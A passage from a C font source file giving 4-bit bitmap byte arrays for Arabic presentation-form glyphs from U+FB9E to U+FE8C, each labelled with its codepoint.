/* U+FB9E "ﮞ" */
0x0, 0x0, 0x0, 0x1, 0x20, 0x0, 0x0, 0x0,
0x7, 0xf1, 0x12, 0x0, 0x0, 0x1, 0xf5, 0xbc,
0x0, 0x0, 0x0, 0xf7, 0xda, 0x0, 0x0, 0x0,
0xf8, 0xd9, 0x0, 0x0, 0x2, 0xf5, 0xac, 0x0,
0x0, 0xa, 0xf0, 0x4f, 0xa4, 0x24, 0xaf, 0x60,
0x5, 0xef, 0xff, 0xe6, 0x0, 0x0, 0x3, 0x42,
0x0, 0x0,
/* U+FB9F "ﮟ" */
0x0, 0x0, 0x0, 0x4, 0x60, 0x0, 0x0, 0x0,
0x0, 0x5, 0xf2, 0x0, 0x47, 0x0, 0x0, 0x0,
0xf9, 0x0, 0xbb, 0x0, 0x0, 0x0, 0xef, 0x82,
0xc9, 0x0, 0x0, 0x0, 0xfe, 0xf5, 0xc9, 0x0,
0x0, 0x3, 0xf5, 0x0, 0xad, 0x0, 0x0, 0xa,
0xe0, 0x0, 0x3f, 0xa4, 0x24, 0xaf, 0x40, 0x0,
0x4, 0xef, 0xff, 0xd4, 0x0, 0x0, 0x0, 0x3,
0x42, 0x0, 0x0, 0x0,
/* U+FBA0 "ﮠ" */
0x0, 0x8, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0,
0x0, 0x0, 0x0, 0xc, 0x38, 0x20, 0x0, 0x0,
0xd, 0xb8, 0x80, 0x0, 0x0, 0x5d, 0xcc, 0x20,
0x0, 0x0, 0x0, 0x0, 0x6, 0xa0, 0x0, 0x0,
0x0, 0x3, 0xf4, 0x7a, 0x0, 0x0, 0x0, 0xf7,
0xca, 0x0, 0x0, 0x0, 0xe8, 0xd9, 0x0, 0x0,
0x1, 0xf6, 0xbc, 0x0, 0x0, 0x9, 0xf1, 0x5f,
0xa4, 0x24, 0xaf, 0x80, 0x6, 0xef, 0xff, 0xe6,
0x0, 0x0, 0x3, 0x42, 0x0, 0x0,
/* U+FBA1 "ﮡ" */
0x0, 0xc, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc,
0x16, 0x10, 0x0, 0x0, 0x0, 0xd, 0xa8, 0x80,
0x0, 0x0, 0x0, 0x5d, 0xcc, 0x33, 0x40, 0x0,
0x0, 0x0, 0x0, 0x6, 0xf1, 0x0, 0x35, 0x0,
0x0, 0x1, 0xf8, 0x0, 0xac, 0x0, 0x0, 0x0,
0xef, 0x82, 0xca, 0x0, 0x0, 0x0, 0xfe, 0xf5,
0xc9, 0x0, 0x0, 0x2, 0xf5, 0x0, 0xad, 0x0,
0x0, 0xa, 0xe0, 0x0, 0x3f, 0xa4, 0x24, 0xaf,
0x40, 0x0, 0x5, 0xef, 0xff, 0xd4, 0x0, 0x0,
0x0, 0x3, 0x42, 0x0, 0x0, 0x0,
/* U+FBA2 "ﮢ" */
0x1, 0xb0, 0x0, 0x1, 0xb3, 0x60, 0x1, 0xe9,
0xa5, 0x8, 0xec, 0xb1, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x5d, 0x0, 0x0, 0x6f, 0x0,
0x0, 0x7f, 0x0, 0x18, 0xeb, 0x0, 0x2f, 0xc2,
0x0,
/* U+FBA3 "ﮣ" */
0x1, 0xb0, 0x0, 0x1, 0xb3, 0x60, 0x1, 0xe9,
0xa5, 0x8, 0xec, 0xb1, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x5d, 0x0, 0x0, 0x6f, 0x10,
0x0, 0x7f, 0x20, 0x18, 0xef, 0xc7, 0x2f, 0xc8,
0xef,
/* U+FBAA "ﮪ" */
0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0xd, 0xc3,
0x0, 0x0, 0x0, 0x6, 0xff, 0x70, 0x0, 0x0,
0xe, 0xbc, 0xf9, 0x0, 0x0, 0x2f, 0x34, 0xff,
0x60, 0x0, 0xf, 0x57, 0xe7, 0xe0, 0xda, 0xb,
0xde, 0x92, 0xf2, 0xce, 0x8b, 0xff, 0x99, 0xf1,
0x2a, 0xfe, 0x8a, 0xee, 0x70,
/* U+FBAB "ﮫ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7f,
0xe3, 0x0, 0x0, 0x6, 0xf7, 0xbb, 0x0, 0x0,
0xd, 0xb0, 0x9c, 0x0, 0xc9, 0xf, 0x75, 0xf8,
0x0, 0xce, 0x8f, 0xcf, 0xf8, 0x71, 0x2b, 0xff,
0xff, 0xff, 0xf4, 0x0, 0xf, 0x74, 0xd4, 0x0,
0x0, 0xb, 0xe3, 0xad, 0x0, 0x0, 0x1, 0xcf,
0xf7, 0x0, 0x0, 0x0, 0x2, 0x20, 0x0,
/* U+FBAC "ﮬ" */
0x0, 0x20, 0x0, 0x0, 0x0, 0x9, 0xe6, 0x0,
0x0, 0x0, 0x2e, 0xfb, 0x0, 0x0, 0xa, 0xda,
0xfc, 0x0, 0x0, 0xe7, 0xf, 0xfa, 0x0, 0xd,
0xa4, 0xf7, 0xf3, 0x0, 0x9f, 0xee, 0xe, 0x71,
0x7a, 0xff, 0xa5, 0xe6, 0x2f, 0xea, 0xae, 0xfa,
0x0,
/* U+FBAD "ﮭ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6e, 0xf8,
0x0, 0x0, 0x3f, 0x98, 0xf1, 0x0, 0x9, 0xd0,
0x9e, 0x0, 0x17, 0xdd, 0xbf, 0x97, 0x32, 0xff,
0xff, 0xff, 0xf8, 0x0, 0xbb, 0x6f, 0x60, 0x0,
0x9, 0xe0, 0x7f, 0x0, 0x0, 0x3f, 0x77, 0xf0,
0x0, 0x0, 0x7f, 0xf9, 0x0, 0x0, 0x0, 0x12,
0x0, 0x0,
/* U+FBD3 "ﯓ" */
0x0, 0x0, 0x2f, 0x0, 0x0, 0x0, 0x0, 0x0,
0x20, 0x0, 0x0, 0x0, 0x1, 0xf3, 0xf0, 0xe,
0x90, 0x0, 0x2, 0x2, 0x0, 0xe9, 0x0, 0x0,
0x0, 0x0, 0xe, 0x90, 0x0, 0x2, 0x96, 0x0,
0xe9, 0x0, 0x0, 0x76, 0x0, 0xe, 0x90, 0x0,
0x0, 0x58, 0x0, 0xe9, 0x0, 0x2, 0xab, 0x20,
0xe, 0x90, 0x0, 0x0, 0x0, 0x0, 0xe8, 0x54,
0x0, 0x0, 0x0, 0xf, 0x7d, 0xa0, 0x0, 0x0,
0x9, 0xf3, 0x8f, 0xb7, 0x55, 0x8e, 0xf8, 0x0,
0x5c, 0xef, 0xfe, 0xb4, 0x0,
/* U+FBD4 "ﯔ" */
0x0, 0x0, 0x2f, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x20, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf3,
0xf0, 0xe, 0x90, 0x0, 0x0, 0x2, 0x2, 0x0,
0xe9, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe, 0x90,
0x0, 0x0, 0x2, 0x96, 0x0, 0xe9, 0x0, 0x0,
0x0, 0x76, 0x0, 0xe, 0x90, 0x0, 0x0, 0x0,
0x58, 0x0, 0xe9, 0x0, 0x0, 0x2, 0xab, 0x20,
0xe, 0x90, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe9,
0x0, 0x22, 0x0, 0x0, 0x0, 0xf, 0x90, 0xd,
0xa0, 0x0, 0x0, 0x9, 0xfa, 0x0, 0x9f, 0xb7,
0x55, 0x8e, 0xfd, 0xf8, 0x40, 0x6c, 0xff, 0xfe,
0xa4, 0x9, 0xfa,
/* U+FBD5 "ﯕ" */
0x0, 0x6b, 0x0, 0x0, 0x0, 0x1, 0x20, 0x0,
0x0, 0x6, 0xc7, 0xb0, 0x0, 0x10, 0x12, 0x11,
0x5, 0xca, 0x0, 0x1, 0x8e, 0xfa, 0x30, 0x9,
0xfe, 0x81, 0x0, 0x3, 0xf8, 0x0, 0x0, 0x0,
0x3f, 0x70, 0x0, 0x0, 0x0, 0x9f, 0x40, 0x0,
0x0, 0x0, 0xce, 0x20, 0x0, 0x0, 0x1, 0xec,
0x0, 0x0, 0x0, 0x4, 0xf4, 0x0, 0x0, 0x0,
0x3f, 0x50, 0x1, 0x77, 0x7d, 0xf1, 0x0, 0x2f,
0xff, 0xd4, 0x0, 0x0,
/* U+FBD6 "ﯖ" */
0x0, 0x6b, 0x0, 0x0, 0x0, 0x0, 0x12, 0x0,
0x0, 0x0, 0x6, 0xc7, 0xb0, 0x0, 0x10, 0x1,
0x21, 0x10, 0x5c, 0xa0, 0x0, 0x1, 0x8e, 0xfa,
0x30, 0x0, 0x9f, 0xe8, 0x10, 0x0, 0x3, 0xf8,
0x0, 0x0, 0x0, 0x3, 0xf7, 0x0, 0x0, 0x0,
0x0, 0x9f, 0x30, 0x0, 0x0, 0x0, 0xc, 0xe1,
0x0, 0x0, 0x0, 0x1, 0xed, 0x0, 0x0, 0x0,
0x0, 0x4f, 0xa0, 0x0, 0x0, 0x0, 0x3f, 0xf7,
0x0, 0x17, 0x77, 0xdf, 0xaf, 0x97, 0x2f, 0xff,
0xd4, 0x8, 0xef,
/* U+FBD7 "ﯗ" */
0x0, 0x2, 0xda, 0x0, 0x0, 0x6, 0x9d, 0x10,
0x0, 0x1, 0xcf, 0x70, 0x0, 0x5, 0xc2, 0x0,
0x0, 0xd8, 0x10, 0x0, 0x0, 0x8, 0xed, 0x40,
0x0, 0x6f, 0xac, 0xf1, 0x0, 0x9e, 0x1, 0xf6,
0x0, 0x6f, 0xa6, 0xf7, 0x0, 0x8, 0xdf, 0xf7,
0x0, 0x0, 0x4, 0xf4, 0x0, 0x0, 0x2e, 0xe0,
0x12, 0x48, 0xef, 0x30, 0xaf, 0xff, 0xa2, 0x0,
0x34, 0x20, 0x0, 0x0,
/* U+FBD8 "ﯘ" */
0x0, 0x2, 0xda, 0x0, 0x0, 0x0, 0x6, 0x9d,
0x10, 0x0, 0x0, 0x1, 0xcf, 0x70, 0x0, 0x0,
0x5, 0xc2, 0x0, 0x0, 0x0, 0xd8, 0x10, 0x0,
0x0, 0x0, 0x8, 0xed, 0x40, 0x0, 0x0, 0x6f,
0xac, 0xf1, 0x0, 0x0, 0xae, 0x1, 0xf6, 0x0,
0x0, 0x6f, 0xa7, 0xfb, 0x73, 0x0, 0x8, 0xef,
0xff, 0xf6, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x2e, 0xc0, 0x0, 0x12, 0x48, 0xee, 0x20,
0x0, 0xaf, 0xff, 0xa1, 0x0, 0x0, 0x34, 0x20,
0x0, 0x0, 0x0,
/* U+FBD9 "ﯙ" */
0x0, 0xd, 0x36, 0xb0, 0x0, 0x4, 0xde, 0x20,
0x0, 0x0, 0x65, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+FBDA "ﯚ" */
0x0, 0xd, 0x36, 0xb0, 0x0, 0x0, 0x4, 0xde,
0x20, 0x0, 0x0, 0x0, 0x65, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xee, 0x40,
0x0, 0x0, 0x6f, 0xac, 0xf1, 0x0, 0x0, 0xae,
0x1, 0xf6, 0x0, 0x0, 0x6f, 0xa7, 0xfb, 0x73,
0x0, 0x8, 0xef, 0xff, 0xf6, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x2e, 0xc0, 0x0, 0x12,
0x48, 0xee, 0x20, 0x0, 0xaf, 0xff, 0xa1, 0x0,
0x0, 0x34, 0x20, 0x0, 0x0, 0x0,
/* U+FBDB "ﯛ" */
0x0, 0x0, 0x52, 0x0, 0x0, 0x0, 0x94, 0x0,
0x0, 0x0, 0x94, 0x0, 0x0, 0x0, 0x94, 0x0,
0x0, 0x0, 0x94, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+FBDC "ﯜ" */
0x0, 0x0, 0x52, 0x0, 0x0, 0x0, 0x0, 0x94,
0x0, 0x0, 0x0, 0x0, 0x94, 0x0, 0x0, 0x0,
0x0, 0x94, 0x0, 0x0, 0x0, 0x0, 0x94, 0x0,
0x0, 0x0, 0x0, 0x11, 0x0, 0x0, 0x0, 0xb,
0xff, 0x60, 0x0, 0x0, 0x7f, 0xac, 0xf2, 0x0,
0x0, 0xae, 0x1, 0xf6, 0x0, 0x0, 0x6f, 0xa7,
0xfb, 0x73, 0x0, 0x8, 0xef, 0xff, 0xf6, 0x0,
0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0x2e, 0xc0,
0x0, 0x12, 0x48, 0xee, 0x20, 0x0, 0xaf, 0xff,
0xa1, 0x0, 0x0, 0x34, 0x20, 0x0, 0x0, 0x0,
/* U+FBDE "ﯞ" */
0x0, 0x0, 0xa7, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0xa, 0x8b, 0x70, 0x0, 0x1, 0x11, 0x10,
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+FBDF "ﯟ" */
0x0, 0x0, 0xa7, 0x0, 0x0, 0x0, 0x0, 0x11,
0x0, 0x0, 0x0, 0xa, 0x8b, 0x70, 0x0, 0x0,
0x1, 0x11, 0x10, 0x0, 0x0, 0x4, 0xaa, 0x20,
0x0, 0x0, 0x5f, 0xac, 0xe1, 0x0, 0x0, 0xae,
0x1, 0xf6, 0x0, 0x0, 0x6f, 0xa7, 0xfb, 0x73,
0x0, 0x8, 0xef, 0xff, 0xf6, 0x0, 0x0, 0x4,
0xf3, 0x0, 0x0, 0x0, 0x2e, 0xc0, 0x0, 0x12,
0x48, 0xee, 0x20, 0x0, 0xaf, 0xff, 0xa1, 0x0,
0x0, 0x34, 0x20, 0x0, 0x0, 0x0,
/* U+FBE4 "ﯤ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x7d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x84, 0x7f,
0x40, 0x0, 0x4, 0xf8, 0x10, 0x10, 0x24, 0x0,
0x7, 0xff, 0xa2, 0xd, 0xa0, 0x0, 0x0, 0x5d,
0xc0, 0xf7, 0x0, 0x0, 0x0, 0xbe, 0xb, 0xd2,
0x0, 0x14, 0xbf, 0x60, 0x1b, 0xfe, 0xff, 0xea,
0x30, 0x0, 0x1, 0x43, 0x10, 0x0, 0x0, 0x0,
0x0, 0xe3, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0,
0x0, 0x0, 0x0, 0x0, 0xe4, 0x0, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0, 0x0,
/* U+FBE5 "ﯥ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2e, 0xf8, 0x0, 0xbb, 0x0, 0x0,
0xc, 0xd7, 0xf4, 0xe, 0x70, 0x0, 0x0, 0xbf,
0x49, 0xe3, 0xe9, 0x0, 0x0, 0x1, 0xdb, 0xb,
0x78, 0xf8, 0x31, 0x24, 0x9f, 0x60, 0x0, 0x8,
0xff, 0xff, 0xfd, 0x60, 0x0, 0x0, 0x0, 0x34,
0x42, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe3, 0x0,
0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0xe3, 0x0, 0x0, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0, 0x0, 0x0,
/* U+FBE6 "ﯦ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x0,
0x3e, 0x0, 0x0, 0x20, 0x0, 0x3e, 0x0, 0x0,
0x20,
/* U+FBE7 "ﯧ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x0, 0x3e, 0x0, 0x0, 0x2, 0x0,
0x0, 0x3e, 0x0, 0x0, 0x2, 0x0,
/* U+FBE8 "ﯨ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0,
/* U+FBE9 "ﯩ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FBFC "ﯼ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x94, 0x7f,
0x40, 0x0, 0x5, 0xf7, 0x0, 0x10, 0x12, 0x0,
0x9, 0xfe, 0x80, 0xc, 0xa0, 0x0, 0x2, 0x7e,
0xb0, 0xf7, 0x0, 0x0, 0x0, 0xaf, 0xd, 0xc0,
0x0, 0x2, 0x9f, 0x90, 0x4f, 0xfc, 0xcf, 0xff,
0x90, 0x0, 0x28, 0xba, 0x85, 0x10, 0x0,
/* U+FBFD "ﯽ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2e, 0xf8, 0x0, 0xbb, 0x0, 0x0,
0xc, 0xd7, 0xf4, 0xe, 0x70, 0x0, 0x0, 0xbf,
0x49, 0xe3, 0xe9, 0x0, 0x0, 0x1, 0xdb, 0xb,
0x78, 0xf8, 0x31, 0x24, 0x9f, 0x60, 0x0, 0x8,
0xff, 0xff, 0xfd, 0x60, 0x0, 0x0, 0x0, 0x34,
0x42, 0x0, 0x0, 0x0,
/* U+FBFE "ﯾ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x3,
0xf4, 0xe0, 0x2, 0x2,
/* U+FBFF "ﯿ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20,
/* U+FE70 "ﹰ" */
0x0, 0x0, 0x14, 0x8b, 0xd7, 0x85, 0x21, 0x26,
0xad, 0xc6, 0x63, 0x0, 0x0,
/* U+FE71 "ﹱ" */
0x0, 0x0, 0x1, 0x4, 0x8b, 0xd7, 0x8, 0x52,
0x12, 0x6, 0xad, 0xc6, 0x6, 0x30, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x17, 0x77, 0x75, 0x2f,
0xff, 0xfd,
/* U+FE72 "ﹲ" */
0x1, 0xdb, 0x0, 0x4a, 0xc2, 0xa0, 0x9f, 0x8b,
0x1a, 0x50, 0x4d, 0x70, 0x0,
/* U+FE73 "ﹳ" */
0x2f, 0x50, 0x0, 0xee, 0x72, 0x3, 0xdf, 0x50,
/* U+FE74 "ﹴ" */
0x3, 0x7a, 0x8c, 0xa6, 0x30, 0x25, 0x9c, 0x8a,
0x84, 0x10,
/* U+FE76 "ﹶ" */
0x0, 0x1, 0x26, 0xad, 0xc6, 0x63, 0x0, 0x0,
/* U+FE77 "ﹷ" */
0x0, 0x0, 0x12, 0x6, 0xad, 0xc6, 0x6, 0x30,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x17, 0x77,
0x75, 0x2f, 0xff, 0xfd,
/* U+FE78 "ﹸ" */
0x1, 0xdb, 0x0, 0x5a, 0xc2, 0x0, 0xbf, 0x80,
0x5d, 0x20, 0xc8, 0x10, 0x0,
/* U+FE79 "ﹹ" */
0x0, 0x1d, 0xb0, 0x0, 0x5a, 0xc1, 0x0, 0xc,
0xe8, 0x0, 0x5c, 0x20, 0xc, 0x81, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x17, 0x77, 0x75, 0x2f,
0xff, 0xfd,
/* U+FE7A "ﹺ" */
0x0, 0x36, 0x6b, 0xda, 0x62, 0x10, 0x0, 0x0,
/* U+FE7B "ﹻ" */
0x17, 0x77, 0x75, 0x2f, 0xff, 0xfd, 0x0, 0x3,
0x66, 0xb, 0xda, 0x62, 0x1, 0x0, 0x0,
/* U+FE7C "ﹼ" */
0x0, 0x0, 0x5, 0x4, 0xb, 0xc, 0xb, 0xc,
0x1c, 0x1c, 0x3e, 0xc8, 0xb, 0xd2, 0x50,
/* U+FE7D "ﹽ" */
0x0, 0x5, 0xb, 0xb, 0xc, 0xc, 0x1b, 0x1f,
0x6a, 0xe, 0xb7, 0xb2, 0x2, 0x30, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x17, 0x77, 0x75, 0x2f,
0xff, 0xfd,
/* U+FE7E "ﹾ" */
0x2c, 0xe9, 0xb, 0x60, 0xb5, 0xb6, 0xb, 0x52,
0xce, 0x90,
/* U+FE7F "ﹿ" */
0x2, 0xce, 0x90, 0xb, 0x60, 0xb5, 0xb, 0x60,
0xb5, 0x2, 0xce, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x17, 0x77, 0x75, 0x2f,
0xff, 0xfd,
/* U+FE80 "ﺀ" */
0x0, 0x0, 0x0, 0x9, 0xff, 0x90, 0x6f, 0x95,
0x40, 0xad, 0x0, 0x0, 0x8f, 0x40, 0x11, 0x1a,
0xff, 0xf3, 0x5c, 0xfe, 0x70, 0x9a, 0x40, 0x0,
/* U+FE81 "ﺁ" */
0x19, 0x40, 0x19, 0x8, 0x5a, 0xdb, 0x50, 0x0,
0x0, 0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f,
0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0,
0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0,
0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0, 0x7,
0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0, 0x7, 0xf0,
0x0, 0x0, 0x7f, 0x0, 0x0,
/* U+FE82 "ﺂ" */
0x19, 0x40, 0x19, 0x8, 0x5a, 0xdb, 0x50, 0x0,
0x0, 0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f,
0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0,
0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0,
0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0, 0x7,
0xf0, 0x0, 0x0, 0x6f, 0x0, 0x0, 0x3, 0xfb,
0x70, 0x0, 0x7, 0xef, 0x0,
/* U+FE83 "ﺃ" */
0x8, 0xc3, 0x1b, 0x0, 0xd, 0x85, 0x2d, 0x93,
0x0, 0x0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0,
/* U+FE84 "ﺄ" */
0x8, 0xc3, 0x0, 0x1b, 0x0, 0x0, 0xd, 0x85,
0x0, 0x2d, 0x93, 0x0, 0x0, 0x0, 0x0, 0x7,
0xf0, 0x0, 0x7, 0xf0, 0x0, 0x7, 0xf0, 0x0,
0x7, 0xf0, 0x0, 0x7, 0xf0, 0x0, 0x7, 0xf0,
0x0, 0x7, 0xf0, 0x0, 0x7, 0xf0, 0x0, 0x7,
0xf0, 0x0, 0x6, 0xf0, 0x0, 0x3, 0xfb, 0x70,
0x0, 0x7e, 0xf0,
/* U+FE85 "ﺅ" */
0x0, 0x5, 0xc7, 0x0, 0x0, 0xc, 0x0, 0x0,
0x0, 0x9, 0xa7, 0x0, 0x0, 0xb, 0x94, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xed, 0x40,
0x0, 0x6f, 0xac, 0xf1, 0x0, 0x9e, 0x1, 0xf6,
0x0, 0x6f, 0xa6, 0xf7, 0x0, 0x8, 0xdf, 0xf7,
0x0, 0x0, 0x4, 0xf4, 0x0, 0x0, 0x2e, 0xe0,
0x12, 0x48, 0xef, 0x30, 0xaf, 0xff, 0xa2, 0x0,
0x34, 0x20, 0x0, 0x0,
/* U+FE86 "ﺆ" */
0x0, 0x5, 0xc7, 0x0, 0x0, 0x0, 0xc, 0x0,
0x0, 0x0, 0x0, 0x9, 0xb8, 0x0, 0x0, 0x0,
0x8, 0x62, 0x0, 0x0, 0x0, 0x0, 0x22, 0x0,
0x0, 0x0, 0x1c, 0xff, 0x80, 0x0, 0x0, 0x8f,
0xac, 0xf2, 0x0, 0x0, 0xae, 0x1, 0xf6, 0x0,
0x0, 0x6f, 0xa7, 0xfb, 0x73, 0x0, 0x8, 0xef,
0xff, 0xf6, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0,
0x0, 0x2e, 0xc0, 0x0, 0x12, 0x48, 0xee, 0x20,
0x0, 0xaf, 0xff, 0xa1, 0x0, 0x0, 0x34, 0x20,
0x0, 0x0, 0x0,
/* U+FE87 "ﺇ" */
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x9, 0xc3, 0x1b, 0x0, 0xd, 0xb6, 0x16, 0x20,
/* U+FE88 "ﺈ" */
0x7, 0xf0, 0x0, 0x7, 0xf0, 0x0, 0x7, 0xf0,
0x0, 0x7, 0xf0, 0x0, 0x7, 0xf0, 0x0, 0x7,
0xf0, 0x0, 0x7, 0xf0, 0x0, 0x7, 0xf0, 0x0,
0x7, 0xf0, 0x0, 0x6, 0xf0, 0x0, 0x3, 0xfb,
0x70, 0x0, 0x7e, 0xf0, 0x9, 0xc3, 0x0, 0x1b,
0x0, 0x0, 0xd, 0xb6, 0x0, 0x16, 0x20, 0x0,
/* U+FE89 "ﺉ" */
0x1, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x66, 0x0,
0x0, 0x0, 0x0, 0x3, 0xeb, 0x20, 0x0, 0x0,
0x0, 0x35, 0x20, 0x6d, 0xfe, 0x70, 0x0, 0x0,
0x4f, 0x94, 0x7f, 0x40, 0x0, 0x5, 0xf7, 0x0,
0x10, 0x12, 0x0, 0x9, 0xfe, 0x80, 0xc, 0xa0,
0x0, 0x2, 0x7e, 0xb0, 0xf7, 0x0, 0x0, 0x0,
0xaf, 0xd, 0xc0, 0x0, 0x2, 0x9f, 0x90, 0x4f,
0xfc, 0xcf, 0xff, 0x90, 0x0, 0x28, 0xba, 0x85,
0x10, 0x0,
/* U+FE8A "ﺊ" */
0x0, 0x3c, 0x90, 0x0, 0x0, 0x0, 0x0, 0xa,
0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6b, 0x90,
0x0, 0x0, 0x0, 0x0, 0x8, 0x95, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0xef, 0x80,
0xb, 0xb0, 0x0, 0x0, 0xcd, 0x7f, 0x40, 0xe7,
0x0, 0x0, 0xb, 0xf4, 0x9e, 0x3e, 0x90, 0x0,
0x0, 0x1d, 0xb0, 0xb7, 0x8f, 0x83, 0x12, 0x49,
0xf6, 0x0, 0x0, 0x8f, 0xff, 0xff, 0xd6, 0x0,
0x0, 0x0, 0x3, 0x44, 0x20, 0x0, 0x0, 0x0,
/* U+FE8B "ﺋ" */
0x0, 0x8c, 0x50, 0xc, 0x0, 0x0, 0xcb, 0x70,
0x7, 0x30, 0x0, 0x0, 0x0, 0x4, 0xb0, 0x0,
0x6f, 0x0, 0x7, 0xf0, 0x17, 0xec, 0x2, 0xfc,
0x20,
/* U+FE8C "ﺌ" */
